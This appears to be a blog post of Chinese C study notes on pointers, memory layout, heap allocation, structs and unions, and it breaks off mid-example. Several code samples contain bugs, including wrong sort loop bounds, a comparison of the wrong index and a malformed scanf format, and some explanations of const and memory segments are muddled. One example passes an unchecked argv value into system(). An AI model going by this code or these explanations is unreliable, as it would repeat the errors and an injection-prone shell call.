C语言基础知识总结(二)

本文详细讲解了指针的概念、类型、基本操作,如指针变量定义、数组与指针、内存布局、存储类型、内存分配与释放、结构体与指针、共用体和枚举,以及文件操作中的内存操作技巧。涵盖了指针在C语言中的核心知识点和实用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.指针

1. 指针和指针变量
	1)内存区的每一个字节都有一个编号,这就是“地址”。
	2)如果在程序中定义了一个变量,在对程序进行编译或运行时,系统就会给这个变量分配内存单元,并确定它的内存地址(编号)
	3)指针的实质就是内存“地址”。指针就是地址,地址就是指针。
	4)指针是内存单元的编号,指针变量是存放地址的变量。
	5)通常我们叙述时会把指针变量简称为指针,实际他们含义并不一样。

2 指针基础知识
2.1 指针变量的定义和使用
	指针也是一种数据类型,指针变量也是一种变量
	指针变量指向谁,就把谁的地址赋值给指针变量
	“*”操作符操作的是指针变量指向的内存空间
注意:&可以取得一个变量在内存中的地址。但是,不能取寄存器变量,因为寄存器变量不在
	  内存里,而在CPU里面,所以是没有地址的。

2.2 通过指针间接修改变量的值
#define _CRT_SECURE_NO_WARNNINGS
#include<stdio.h>
#include<string.h>

int main()
{
	int a = 10;
	int* p = &a;
	*p = 20;
	printf("%d\n", a);
	return 0;
}
2.3 指针大小
1)使用sizeof()测量指针的大小,得到的总是:4或8
2)sizeof()测的是指针变量指向存储地址的大小
3)在32位平台,所有的指针(地址)都是32位(4字节)
4)在64位平台,所有的指针(地址)都是64位(8字节)

2.4 野指针和空指针
	指针变量也是变量,是变量就可以任意赋值,不要越界即可(32位为4字节,64位为8字
节),但是,任意数值赋值给指针变量没有意义,因为这样的指针就成了野指针,此指针指向
的区域是未知(操作系统不允许操作此指针指向的内存区域)。所以,野指针不会直接引
发错误,操作野指针指向的内存区域才会出问题。
	但是,野指针和有效指针变量保存的都是数值,为了标志此指针变量没有指向任何变量
(空闲可用),C语言中,可以把NULL赋值给此指针,这样就标志此指针为空指针,没有任何
指针。
	因此,在日常的操作中,如果出现的是野指针,一是会出现不知道具体指针所指的地址
情况,二是当赋值内容为0~255的内存地址的时候,会由于没有访问权限而报错,因此,在
日常的使用中,尽量避免野指针的出现;对于空指针,我们一般是通过关注其的NULL值,一
般情况下,以此来作为条件判断的一个条件。

2.5万能指针void *
	void *指针可以指向任意变量的内存空间,可以通过万能指针我们来接收任意类型的数
据,但是在后续的操作中,一般都是会进行强制类型转换转换为所对应的数据类型。
#define _CRT_SECURE_NO_WARNNINGS
#include<stdio.h>
#include<string.h>

int main()
{
	//通过万能指针来接收数据,在通过强制类型转换转换为所接受数据的数据类型
	int a = 10;
	void* p = &a;
	*(int* )p = 20;
	printf("%d\n", a);

	void *p1 = NULL;
	int b = 10;
	p = (void *)&b;
	return 0;
}
2.6 const修饰的指针变量
	1.当const修饰*时,所对应的变量的值是不可以修改的,但是指针本身所指的内存地址
是可以修改的。
	2.当const修饰指针变量的时,指针所指向的内存地址的值是不可以修改的,但是指针所
指向的变量的值是可以修改的
#define _CRT_SECURE_NO_WARNNINGS
#include<stdio.h>
#include<string.h>

int main()
{
	int a = 10;
	int b = 20;
	const int* p1 = &a;
	//*p = 20;//error,当const修饰*时,所对应的变量的值是不可以修改的
	p1 = &b;//但是指针本身所指的内存地址是可以修改的

	int c = 60;
	int d = 70;
	int* const p2 = &c;
	//p2 = &b;//error,当const修饰指针变量的时,指针所指向的内存地址的值是不可以修改的
	*p2 = 70;//但是指针所指向的变量的值是可以修改的

	return 0;
}
3.指针和数组
3.1 数组名
	数组名字是数组的首元素地址,但它是一个常量。
	
3.2 指针操作数组元素
	指针每加1,对应的就会跳过一个指针数据类型的大小,有以下两种定义方式:
#define _CRT_SECURE_NO_WARNNINGS
#include<stdio.h>
#include<string.h>

int main()
{
	int arr1[5] = { 3,4,2,1,5 };
	int* p1 = arr1;
	int len1 = sizeof(arr1) / sizeof(arr1[0]);
	for (int i = 0; i < len1; i++)
	{
		printf("%d ", *(p1 + i));
	}
	printf("\n");

	int arr2[5] = { 8,6,9,4,7 };
	int* p2 = arr2;
	int len2 = sizeof(arr2) / sizeof(arr2[0]);
	for (int i = 0; i < len1; i++)
	{
		printf("%d ", p2[i]);
	}
	printf("\n");

	return 0;
}
3.3 指针加减运算
1)加法运算
	如果是一个int *,+1的结果是增加一个int的大小
	如果是一个char *,+1的结果是增加一个char大小
2)减法运算
	如果是一个int *,-1的结果是减少一个int的大小
	如果是一个char *,-1的结果是减少一个char大小
#define _CRT_SECURE_NO_WARNNINGS
#include<stdio.h>
#include<string.h>

int main()
{
	int arr1[5] = { 3,4,2,1,5 };
	int* p1 = arr1;
	int len1 = sizeof(arr1) / sizeof(arr1[0]);
	for (int i = 0; i < len1; i++)
	{
		printf("%d ", *p1);
		p1++;
	}
	printf("\n");

	int arr2[5] = { 8,6,9,4,7 };
	int* p2 = &arr2[4];
	int len2 = sizeof(arr2) / sizeof(arr2[0]);
	for (int i = 0; i < len1; i++)
	{
		printf("%d ", *p2);
		p2--;
	}
	printf("\n");

	return 0;
}
3.4 指针数组
	指针数组中,数组的每个元素都是指针类型。
	案例:对指针数组中的元素,按首字母顺序进行排序
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
	char c = 0;
	char* arr[] = { "hello","world","nihao","baobei" };
	//int len = sizeof(arr)/sizeof(arr[0]);
	//printf("%c\n", *(arr[0])); //指向数组第一个元素的首元素
	//printf("%c\n", *(arr[0] + 1));//指向数组第一个元素的第二元素
	//printf("%c\n", *(arr[0] + 2));//指向数组第一个元素的第三元素
	//printf("%d\n", len);
	//对指针数组中的首字母进行排序
	for (int i = 0; i < 4; i++)
	{
		int len = strlen(arr[i]);
		printf("%d\n", len);
		for (int j = 0; j < len - 1; j++)
		{
			for (int k = j + 1; k < len - 1; k++)
			{
				if (strcmp(arr[j], arr[k]) > 0)
				{
					char* c = arr[j];
					arr[j] = arr[k];
					arr[k] = c;
				}
			}
		}
	}
	for (int i = 0; i < 4; i++)
	{
		printf("%s\n", arr[i]);
	}
	return 0;
}
3.5 多级指针 
	C语言允许有多级指针存在,在实际的程序中一级指针最常用,其次是二级指针。
	二级指针就是指向一个一级指针变量地址的指针。

4 指针和函数
4.1 函数形参改变实参的值
	通过值传递,只会在掉用的子函数中值发生改变,在子函数执行完毕后系统就会自动销毁
子函数,其本质其实可以理解为系统自动复制了一份相同名字的变量进行操作,在执行玩操作
后销毁函数,而地址传递不会出现这种问题,地址传递其实就是通过改变对应地址所对应的值
从而改变变量的值,而不是拷贝操作。
#define _CRT_SECURE_NO_WARNNINGS
#include<stdio.h>
#include<string.h>

int main()
{
	int a = 10;
	int* p1 = &a;
	int** p2 = &p1;
	int*** p3 = &p2; 
	***p3 = 300;
	printf("%d\n", a);

	**p2 = 200;
	printf("%d\n", a);

	*p1 = 100;
	printf("%d\n", a);
	return 0;
}
4.2 数组名做函数参数
	数组名做函数参数,函数的形参会退化为指针,因此,当数组作为函数参数的时候,必须
要对长度进行赋值,因为数组作为参数的时候,会退化为指针。
#include <stdio.h>

//void printArrary(int a[10], int n)
//void printArrary(int a[], int n)
void printArrary(int *a, int n)
{
	int i = 0;
	for (i = 0; i < n; i++)
	{
		printf("%d, ", a[i]);
	}
	printf("\n");
}

int main()
{
	int a[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 };
	int n = sizeof(a) / sizeof(a[0]);

	//数组名做函数参数
	printArrary(a, n); 
	return 0;
}
4.3 指针做为函数的返回值
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char* test01()
{
	//char arr[] = "hello world";//创建的是字符数组,创建位置在栈区,程序执行时创建,执行后销毁
	char *arr = "hello world";//创建的是字符串常量,创建位置在常量区,程序全部执行完毕后才会销毁
	return arr;
}

int main()
{
	char* p = test01();
	//之所以地址可以打印出来,而地址对应的内容不可以打印出来,是因为地址作为返回值被接收了
	//而地址所对应的内容,因为在函数中,在执行结束后就被销毁,因此无法打印出指定地址的内容。
	printf("%p\n", p);
	printf("%s\n", p);
	return 0;
}
5 指针和字符串
5.1 字符指针做函数参数
	案例:字符串反转
#include<string.h>
#include<stdio.h>
#include<stdlib.h>

//数组方式实现
//char* reserveStr(char * ch,int len)
//{
//	for (int i = 0; i < len/2; i++)
//	{
//		char c = ch[i];
//		ch[i] = ch[len - 1 - i];
//		ch[len - 1 - i] = c;
//	}
//	return ch;
//}

//指针方式实现
char* reserveStr(char* ch, int len)
{
	char* p = ch;
	for (int i = 0; i < len / 2; i++)
	{
		char c = *(p+i);
		*(p + i) = *(p+(len - 1 - i));
		*(p + (len - 1 - i)) = c;
	}
	return ch;
}

int main()
{
	char ch[] = "hello world";
	int len = sizeof(ch) / sizeof(ch[0]) - 1;
	printf("%s\n", reserveStr(ch, len));
	return 0;
} 
5.2 const修饰的指针变量
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
	const int a = 10;
	char buf[] = "aklgjdlsgjlkds";

	//从左往右看,跳过类型,看修饰哪个字符
	//如果是*, 说明指针指向的内存不能改变
	//如果是指针变量,说明指针的指向不能改变,指针的值不能修改
	const char* p = buf;
	//p[1] = '2'; //err
	p = "agdlsjaglkdsajgl";

	char* const p2 = buf;
	p2[1] = '3';
	//p2 = "salkjgldsjaglk"; //err

	//p3为只读,指向不能变,指向的内存也不能变
	const char* const p3 = buf;

	return 0;
}
5.3 指针数组做为main函数的形参
	int main(int argc, char *argv[]);
	main函数是操作系统调用的,第一个参数标明argv数组的成员数量,argv数组的每个成
员都是char *类型
	argv是命令行参数的字符串数组
	argc代表命令行参数的数量,程序名字本身算一个参数
	案例:实现一个简单的类似gcc编译过程(仅字符串操作)
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main(int argc, char* argv[])
{
	//argc接收传递参数的个数
	//argv接收传递参数的内容
	if (argc <= 1)
	{
		printf("缺少参数\n");
		return -1;
	}
	char arr[1000];//gcc -o
	char temp[256];//a1.c
	strcpy(arr, "gcc -o");
	strcpy(temp, argv[1]);
	char* p = strtok(temp, ".");//a1
	strcat(arr, p);//gcc -o a1
	strcat(arr, " ");//gcc -o
	strcat(arr, argv[1]);//gcc -o a1 a1.c
	system(arr);//快速完成程序编译
	return 0;
}

2.内存管理

2.1 不同变量的作用域
	2.1.1 局部变量
		局部变量也叫auto自动变量(auto可写可不写),一般情况下代码块{}内部定义的变量都是自动变量,它有如下特点:
		1.在一个函数内定义,只在函数范围内有效
		2.在复合语句中定义,只在复合语句中有效
		3.随着函数调用的结束或复合语句的结束局部变量的声明声明周期也结束
		4.如果没有赋初值,内容为随机
		5.auto关键字只能出现在{}内部
		
	2.1.2 静态(static)局部变量
		1.static局部变量的作用域也是在定义的函数内有效
		2.static局部变量的生命周期和程序运行周期一样,同时staitc局部变量的值只初始化一次,但可以赋值多次
		3.static局部变量若未赋以初值,则由系统自动赋值:数值型变量自动赋初值0,字符型变量赋空字符

	2.1.3 全局变量
		1.在函数外定义,可被本文件及其它文件中的函数所共用,若其它文件中的函数调用此变量,须用extern声明
		2.全局变量的生命周期和程序运行周期一样
		3.不同文件的全局变量不可重名
		4.全局变量若未赋以初值,则由系统自动赋值:数值型变量自动赋初值0,字符型变量赋
		  空字符。

	2.1.4 静态(static)全局变量
		1.在函数外定义,作用范围被限制在所定义的文件中
		2.不同文件静态全局变量可以重名,但作用域不冲突
		3.static全局变量的生命周期和程序运行周期一样,同时staitc全局变量的值只初始化一次
		4.全局变量若未赋以初值,则由系统自动赋值:数值型变量自动赋初值0,字符型变量赋
		  空字符。

	2.1.5 extern全局变量声明
		extern int a:声明一个变量,这个变量在别的文件中已经定义了,这里只是声明,而
	不是定义,声明时,不会分配空间。

	2.1.6 全局函数和静态函数
		在C语言中函数默认都是全局的,使用关键字static可以将函数声明为静态,函数定义为
	static就意味着这个函数只能在定义这个函数的文件中使用,在其他文件中不能调用,即使在
	其他文件中声明这个函数都没用。
		对于不同文件中的staitc函数名字可以相同。

		注:
		1.允许在不同的函数中使用相同的变量名,它们代表不同的对象,分配不同的单元,互不干扰。
		2.同一源文件中,允许全局变量和局部变量同名,在局部变量的作用域内,全局变量不起作用。
		3.所有的函数默认都是全局的,意味着所有的函数都不能重名,但如果是staitc函数,
		  那么作用域是文件级的,所以不同的文件static函数名是可以相同的。

2.2 内存布局
	2.2.1 内存分区
		C代码经过预处理、编译、汇编、链接4步后生成一个可执行程序。在 Linux 下,程
	序是一个普通的可执行文件,程序没有加载到内存前,可执行程序内部已经分好3段信息,
	分别为代码区(text)、数据区(data)和未初始化数据区(bss)3 个部分(有些人直
	接把data和bss合起来叫做静态区或全局区)。

	1.代码区
		存放 **CPU 执行的机器指令**。通常代码区是可共享的(即另外的执行程序可以调用它),
	使其可共享的目的是对于频繁被执行的程序,只需要在内存中有一份代码即可。代码区通
	常是只读的,使其只读的原因是防止程序意外地修改了它的指令。另外,代码区还规划了
	局部变量的相关信息。
		加载的是可执行文件代码段,所有的可执行代码都加载到代码区,这块内存是不可以
	在运行期间修改的。
	
	2.全局初始化数据区/静态数据区(data段)
		该区包含了**在程序中明确被初始化的全局变量、已经初始化的静态变量(包括全局静
	态变量和局部静态变量)和常量数据(如字符串常量)。**
		加载的是可执行文件BSS段,位置可以分开亦可以紧靠数据段,存储于数据段的数据
	(全局未初始化,静态未初始化数据)的生存周期为整个程序运行过程。
	
	3.未初始化数据区(又叫 bss 区)
		存入的是**全局未初始化变量和未初始化静态变量。**未初始化数据区的数据在程序开始
	执行之前被内核初始化为 0 或者空(NULL)。	
		程序在加载到内存前,代码区和全局区(data和bss)的大小就是固定的,程序运行期
	间不能改变。然后,运行可执行程序,系统把程序加载到内存,除了根据可执行程序的信
	息分出代码区(text)、数据区(data)和未初始化数据区(bss)之外,还额外增加了
	栈区、堆区。
		加载的是可执行文件数据段,存储于数据段(全局初始化,静态初始化数据,文字常
	量(只读))的数据的生存周期为整个程序运行过程。

	***故2和3共同构成了数据区,存储相对应的各类变量以及常量。***

	4.栈区(stack)
		栈是一种先进后出的内存结构,由编译器自动分配释放,**存放函数的参数值、返回值、
	局部变量**等。在程序运行过程中实时加载和释放,因此,局部变量的生存周期为申请到释
	放该段栈空间。
		内存大小一般大小为1M左右。
	
	5.堆区(heap)
		堆是一个大容器,它的容量要远远大于栈,但没有栈那样先进后出的顺序。用于动态
	内存分配。堆在内存中位于BSS区和栈区之间。一般由程序员分配和释放,若程序员不释
	放,程序结束时由操作系统回收。
		内存大小与物理内存有关。

	存储类型总结:
		类型			作用域		生命周期			存储位置
		auto变量		一对{}内		当前函数			栈区
		static局部变量	一对{}内		整个程序运行期	初始化在data段,未初始化在BSS段
		extern变量		整个程序		整个程序运行期	初始化在data段,未初始化在BSS段
		static全局变量	当前文件		整个程序运行期	初始化在data段,未初始化在BSS段
		extern函数		整个程序		整个程序运行期	代码区
		static函数		当前文件		整个程序运行期	代码区
		register变量	一对{}内		当前函数			运行时存储在CPU寄存器
		字符串常量		当前文件		整个程序运行期	data段
各类变量存储关联如下代码所示:
#include<stdio.h>
#include<string.h>
#include<stdlib.h>

int e;
int f = 10;
static int g;
static int h = 10;
int main()
{
	int a = 10;
	static int b;
	static int c = 10;
	int i[10];
	int j[10] = { 0 };
	int* k;
	int* l = &a;
	const int m = 100;
	char* p = "hello world";
	char ch[] = "hello world";

	printf("局部变量a的地址:%p\n", &a);
	printf("未初始化静态局部变量b的地址:%p\n", &b);
	printf("初始化静态局部变量c的地址:%p\n", &c);
	printf("未初始化全局变量e的地址:%p\n", &e);
	printf("初始化全局变量f的地址:%p\n", &f);
	printf("未初始化静态全局变量g的地址:%p\n", &g);
	printf("初始化静态全局变量h的地址:%p\n", &h);

	printf("未初始化数组i的地址:%p\n", i);
	printf("初始化数组j的地址:%p\n", j);

	printf("未初始化指针k的地址:%p\n", &k);
	printf("初始化指针l的地址:%p\n", &l);

	printf("常量m的地址为:%p\n", &m);
	printf("字符串常量p的地址:%p\n", p);
	printf("字符数组ch的地址:%p\n", ch);

	return 0;
}
2.3 存储类型总结内存操作函数
	2.3.1 memset()
	#include <string.h>
	void *memset(void *s, int c, size_t n);
	功能:将s的内存区域的前n个字节以参数c填入
	参数:
		s:需要操作内存s的首地址
		c:填充的字符,c虽然参数为int,但必须是unsigned char , 范围为0~255
		n:指定需要设置的大小
	返回值:s的首地址

	2.3.2 memcpy()
	#include <string.h>
	void *memcpy(void *dest, const void *src, size_t n);
	功能:拷贝src所指的内存内容的前n个字节到dest所值的内存地址上。
	参数:
		dest:目的内存首地址
		src:源内存首地址,注意:dest和src所指的内存空间不可重叠
		n:需要拷贝的字节数
	返回值:dest的首地址
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
	//1.memset使用,将某一内存空间置为某一个值。
	//int* p = malloc(sizeof(int) * 10);
	//memset(p,0,40);//将以p为首地址的连续的40个字节的内存空间的值赋为0;且操作的是字节,所以是40不是10
	//for (int i = 0; i < 10; i++)
	//{
	//	printf("%d\n", p[i]);
	//}
	//free(p);

	//char* p = malloc(sizeof(char) * 10);//操作的是字节,所以是10
	//memset(p, 65, 10);
	//printf("%s\n", p);
	//free(p);

	//int arr[10] = { 1,2,3,4,5,6,7,8,9,10 };
	//memset(arr, 0, 40);
	//for (int i = 0; i < 10; i++)
	//{
	//	printf("%d\n", arr[i]);
	//}

	//2.memcpy的使用,内存拷贝函数
	//memcpy和strcpy的区别
	//	1.函数参数不同
	//	2.strcpy拷贝字符串 memcpy可以拷贝一块内存
	//	3.拷贝结束标志不同 strcpy-> '\0', memcpy-> 最后一个参数的个数



	int arr[10] = { 1,2,3,4,5,6,7,8,9,10 };
	//int* p = malloc(sizeof(int) * 10);
	//memcpy(p, arr, 40);//操作的是字节,所以是40不是10
	//for (int i = 0; i < 10; i++)
	//{
	//	printf("%d\n", p[i]);
	//}
	//禁止如下操作:
	memcpy(&arr[2], arr, 20);//内存操作函数操作时,地址发生重叠
	for (int i = 0; i < 10; i++)
	{
		printf("%d\n", arr[i]);
	}
	return 0;
}
	2.3.3 memmove()
	memmove()功能用法和memcpy()一样,区别在于:dest和src所指的内存空间重叠时,memmove()仍然能处理,不过执行效率比memcpy()低些。

	2.3.4 memcmp()
	#include <string.h>
	int memcmp(const void *s1, const void *s2, size_t n);
	功能:比较s1和s2所指向内存区域的前n个字节
	参数:
		s1:内存首地址1
		s2:内存首地址2
		n:需比较的前n个字节
	返回值:
		相等:=0
		大于:>0
		小于:<0
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
	//1.memmove内存操作函数
	//	当需要操作的地址二者内存空间发生重叠的时候,可以使用memmove函数进行操作,而memcpy不可以操作
	//	但是使用memmove操作的时候,效率会比较低 
	int arr[10] = { 1,2,3,4,5,6,7,8,9,10 };
	memmove(&arr[2], arr, 20);
	//for (int i = 0; i < 10; i++)
	//{
	//	printf("%d\n", arr[i]);
	//}

	//2.memcmp内存操作函数
	//int arr1[5] = { 1,2,3,4,5 };
	//int val = memcmp(arr, arr1, 8);
	//printf("%d\n", val);
	//val = memcmp(arr, arr1, 20);
	//printf("%d\n", val);

	//int* p1 = malloc(sizeof(int) * 10);
	//char* p2 = malloc(sizeof(char) * 40);
	//memcpy(p1, "hello", 6);
	//memcpy(p2, "hello", 6);

	//if (!memcmp(p1, p2, 6))
	//{
	//	printf("内容相同\n");
	//}
	//else
	//{
	//	printf("内容不相同\n");
	//}
	//free(p1);
	//free(p2);

	int a = 10;
	char b = 10;
	if(!memcmp(&a,&b,1))
	{
		printf("内容相同\n");
	}
	else
	{
		printf("内容不相同\n");
	}
	return 0;
}
2.4 堆区内存分配和释放
	2.4.1 malloc()
	#include <stdlib.h>
	void *malloc(size_t size);
	功能:在内存的动态存储区(堆区)中分配一块长度为size字节的连续区域,用来存放类型
		 说明符指定的类型。分配的内存空间内容不确定,一般使用memset初始化。
	参数:
		size:需要分配内存大小(单位:字节)
	返回值:
	成功:分配空间的起始地址
	失败:NULL

	2.4.2 free()
	#include <stdlib.h>
	void free(void *ptr);
	功能:释放ptr所指向的一块内存空间,ptr是一个任意类型的指针变量,指向被释放区域
		 的首地址。对同一内存空间多次释放会出错。
	参数:
	ptr:需要释放空间的首地址,被释放区应是由malloc函数所分配的区域。
	返回值:无
案例:在堆区实现登记学生成绩并按总成绩排序:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
	int** p = (int**)malloc(sizeof(int*) * 3);
	int* sum = (int*)malloc(sizeof(int) * 3);//分配一个存储各个学生总成绩的空间

	p[0] = (int*)malloc(sizeof(int) * 3);//对每个学生所开辟的空间,存储三门成绩
	p[1] = (int*)malloc(sizeof(int) * 3);
	p[2] = (int*)malloc(sizeof(int) * 3);

	if (p == NULL || p[0] == NULL || p[1] == NULL || p[2] == NULL || sum == NULL)//判断是否开辟成功
	{
		printf("内存分配失败!\n");
	}
	else
	{
		for (int i = 0; i < 3; i++)
		{
			for (int j = 0; j < 3; j++)
			{
				p[i][j] = 80+j+i;
			}
		}
		for (int i = 0; i < 3; i++)
		{
			sum[i] = 0;//初始化是因为在堆区开辟后会有随机值,因此需要初始化
			for (int j = 0; j < 3; j++)
			{
				sum[i] += p[i][j];
			}
			printf("第%d个学生的成绩为:%d\n", i+1, sum[i]);
		}
		for (int i = 0; i < 3; i++)//冒泡排序,进行降序排序
		{
			for (int j = 0; j < 3 - 1 - i; j++)
			{
				if ((*(sum+j)) < (*(sum +j+1)))
				{
					int temp = *(sum + j);
					*(sum + j) = *(sum + j + 1);
					*(sum + j + 1) = temp;
				}
			}
		}
		for (int i = 0; i < 3; i++)//输出排序结果
		{
			printf("%d ", sum[i]);
		}
		free(p[0]);//按照顺序由内向外进行一次释放所开辟的空间
		free(p[1]);
		free(p[2]);
		free(sum);
	}
	
	free(p);
	return 0;
}

3.结构体

3.1 结构体变量的定义和初始化以及内存空间
	定义结构体变量的方式:
	1.先声明结构体类型再定义变量名
	2.在声明类型的同时定义变量
	3.直接定义结构体类型变量(无类型名)
	结构体类型和结构体变量关系:
	结构体类型:指定了一个结构体类型,它相当于一个模型,但其中并无具体数据,系统对
			   之也不分配实际内存单元。
	结构体变量:系统根据结构体类型(内部成员状况)为之分配空间。
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

//结构体需要根据数据类型进行内存对齐
//注:所有数据类型的大小在内存中存储的地址一定是它的类型的倍数。
//	  一般的定义成员的顺序,应该是大的数据类型往小的数据类型以此定义,可以以此节省空间
struct stuViews
{
	//成员
	char name[21];
	unsigned int age;
	char tel[16];
	float scores[3];
	char sex;
}stu1, stu2, stu3;//stu1 = { "张三",20,"18888888888",100,200.2f,300,'M' };//第四种定义方式以及第五种定义方式

int main()
{
	//struct stuViews stu1 = { "张三",20,"18888888888",100,200.2f,300,'M' };//第一种定义方式
	//struct stuViews stu1 = { .sex = 'M',.name = "刘能",.tel = "18888888888",.scores[0] = 99,.scores[1] = 89, .scores[0] = 51,.age = 50 };//第二种定义方式
	
	//struct stuViews stu1;//第三种定义方式
	//strcpy(stu1.name, "谢广坤");
	//stu1.age = 50;
	//strcpy(stu1.tel, "19999999999");
	//stu1.scores[0] = 88;
	//stu1.scores[1] = 99;
	//stu1.scores[2] = 89;
	//stu1.sex = 'M';

	printf("学生的姓名为:%s\n", stu1.name);
	printf("学生的年龄为:%d\n", stu1.age);
	printf("学生的电话为:%s\n", stu1.tel);

	printf("学生的语文成绩为:%.1f\n", stu1.scores[0]);
	printf("学生的数学成绩为:%.1f\n", stu1.scores[1]);
	printf("学生的英语成绩为:%.1f\n", stu1.scores[2]);

	printf("学生的性别为:%c\n", stu1.sex);

	printf("结构体大小为:%d\n", sizeof(stu1));
	return 0;
}
3.2 结构体嵌套结构体
	在一个结构体中,某一成员变量的类型为另外一个结构体。
	案例:学生成绩
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct stuViews//定义学生信息
{
	char name[20];
	float scores[3];
};

struct stuGarde
{
	struct stuViews s[3];//结构体嵌套
	int sumGrade;//某一学生的总成绩
}sumGrade[3],temp;

int main()
{
	//int sumGrade[3] = {0};
	for (int i = 0; i < 3; i++)
	{
		printf("定义顺序:姓名,成绩(语数英)\n");
		scanf("%s%f%f%f%", &sumGrade[i].s->name, &sumGrade[i].s->scores[0], &sumGrade[i].s->scores[1], &sumGrade[i].s->scores[2]);
		sumGrade[i].sumGrade = sumGrade[i].s->scores[0]+sumGrade[i].s->scores[1]+sumGrade[i].s->scores[2];
		//printf("%d\n", sumGrade[i]);
	}
	for (int i = 0; i < 3; i++)
	{
		printf("学生的姓名为:%s\n", sumGrade[i].s->name);

		printf("学生的语文成绩为:%.1f\n", sumGrade[i].s->scores[0]);
		printf("学生的数学成绩为:%.1f\n", sumGrade[i].s->scores[1]);
		printf("学生的英语成绩为:%.1f\n", sumGrade[i].s->scores[2]);
	}
	for (int i = 0; i < 3; i++)//冒泡排序,降序排列
	{
		for (int j = 0; j < 2 - i; j++)
		{
			if (sumGrade[j].sumGrade < sumGrade[j+1].sumGrade)
			{
				temp = sumGrade[j];
				sumGrade[j] = sumGrade[j + 1];
				sumGrade[j + 1] = temp;
			}
		}
	}
	printf("学生的总成绩排名为:\n");
	for (int i = 0; i < 3; i++)
	{
		printf("学生的姓名为:%s,总成绩为:%d\n", sumGrade[i].s->name,sumGrade[i].sumGrade);
	}
	
	return 0;
}
3.3 结构体与指针
	1)结构体成员为指针
	2)结构体指针
	3)堆空间开辟结构体
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct stuinfo
{
	char* name;
	int age;
}stu;

struct tec
{
	char* name;
	int age;
}t;

int main()
{
	//1.结构体成员为指针
	//	程序执行结束后,结构体内的数据以此在栈中释放
	//struct stuinfo s1;
	//s1.name = (char*)malloc(sizeof(char) * 21);

	//strcpy(s1.name, "张三");
	//s1.age = 18;

	//printf("%s   %d\n", s1.name, s1.age);
	//free(s1.name);

	//2.结构体指针
	//struct stuinfo* s = &stu;
	//s->name = (char*)malloc(sizeof(char) * 21);
	//strcpy(s->name, "张三");
	//s->age = 18;
	//printf("%s   %d\n", s->name, s->age);
	//free(s->name);

	//3.堆空间开辟结构体
	struct tec* p = malloc(sizeof(t));
	p->name = (char*)malloc(sizeof(char) * 21);

	strcpy(p->name, "张三");
	p->age = 18;
	printf("%s   %d\n", p->name, p->age);
	if (p->name)
	{
		free(p->name);
		p->name = NULL;
	}

	if (p)
	{
		free(p);
		p = NULL;
	}

	return 0;
}
案例:在堆中开辟空间存储学生成绩:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct stuViews
{
	char* name;
	float* scores;
};

int main()
{

	struct stuViews* stuInfo = (struct stuViews*)malloc(sizeof(struct stuViews)*3);//堆中开辟创建学生空间
	struct stuViews* temp = (struct stuViews*)malloc(sizeof(struct stuViews));//排序所需要的临时变量
	float* sumGrade = malloc(sizeof(float) * 3);//堆中开辟总成绩空间

	for (int i = 0; i < 3; i++)//赋值操作
	{
		(stuInfo + i)->name = (char*)malloc(sizeof(char) * 20);
		(stuInfo + i)->scores = (float*)malloc(sizeof(float) * 3);
		printf("请输入学生的姓名,各科目成绩(语数外):\n");
		scanf("%s%f%f%f", (stuInfo + i)->name, &(stuInfo + i)->scores[0], &(stuInfo + i)->scores[1], &(stuInfo + i)->scores[2]);
	}
	for (int i = 0; i < 3; i++)
	{
		printf("学生的姓名为:%s\n", (stuInfo +i)->name);
		printf("学生的语文成绩为:%.1f\n", (stuInfo + i)->scores[0]);
		printf("学生的数学成绩为:%.1f\n", (stuInfo + i)->scores[1]);
		printf("学生的英语成绩为:%.1f\n", (stuInfo + i)->scores[2]);
	}
	for (int i = 0; i < 2; i++)//冒泡排序
	{
		sumGrade[i] = (stuInfo + i)->scores[0] + (stuInfo + i)->scores[1] + (stuInfo + i)->scores[2];
		sumGrade[i + 1] = (stuInfo + i + 1)->scores[0] + (stuInfo + i + 1)->scores[1] + (stuInfo + i + 1)->scores[2];
		for (int j = 0; j < 2 - i; j++)
		{
			if (sumGrade[i] < sumGrade[i + 1])
			{
				*temp = stuInfo[j];
				stuInfo[j] = stuInfo[j+1];
				stuInfo[j+1] = *temp;
			}
		}
	}
	printf("学生的总成绩排名为:\n");
	for (int i = 0; i < 3; i++)
	{
		printf("学生的姓名为:%s\n", (stuInfo + i)->name);
		printf("\t学生的语文成绩为:%.1f", (stuInfo + i)->scores[0]);
		printf("\t学生的数学成绩为:%.1f", (stuInfo + i)->scores[1]);
		printf("\t学生的英语成绩为:%.1f\n", (stuInfo + i)->scores[2]);
		free((stuInfo + i)->name);//释放名字空间
		free((stuInfo + i)->scores);//释放成绩空间
	}
	free(temp);
	free(stuInfo);
	free(sumGrade);

	return 0;
}

4.共用体(联合体)

4.1 概述
	联合union是一个能在同一个存储空间存储不同类型数据的类型;
	联合体所占的内存长度等于其最长成员的长度,也有叫做共用体;
	同一内存段可以用来存放几种不同类型的成员,但每一瞬时只有一种起作用;
	共用体变量中起作用的成员是最后一次存放的成员,在存入一个新的成员后原有的成员的值会被覆盖;
	共用体变量的地址和它的各成员的地址都是同一地址。
#include <stdio.h>

union Test
{
	char a;
	int b;
	short c;
};
int main()
{
	//定义共用体变量
	union Test tmp;
	//1、所有成员的首地址是一样的
	printf("%p, %p, %p\n", &(tmp.a), &(tmp.b), &(tmp.c));

	//2、共用体大小为最大成员类型的大小
	printf("%lu\n", sizeof(union Test));

	//3、一个成员赋值,会影响另外的成员
	//左边是高位,右边是低位
	//低位放低地址,高位放高地址
	tmp.b = 0x44332211;

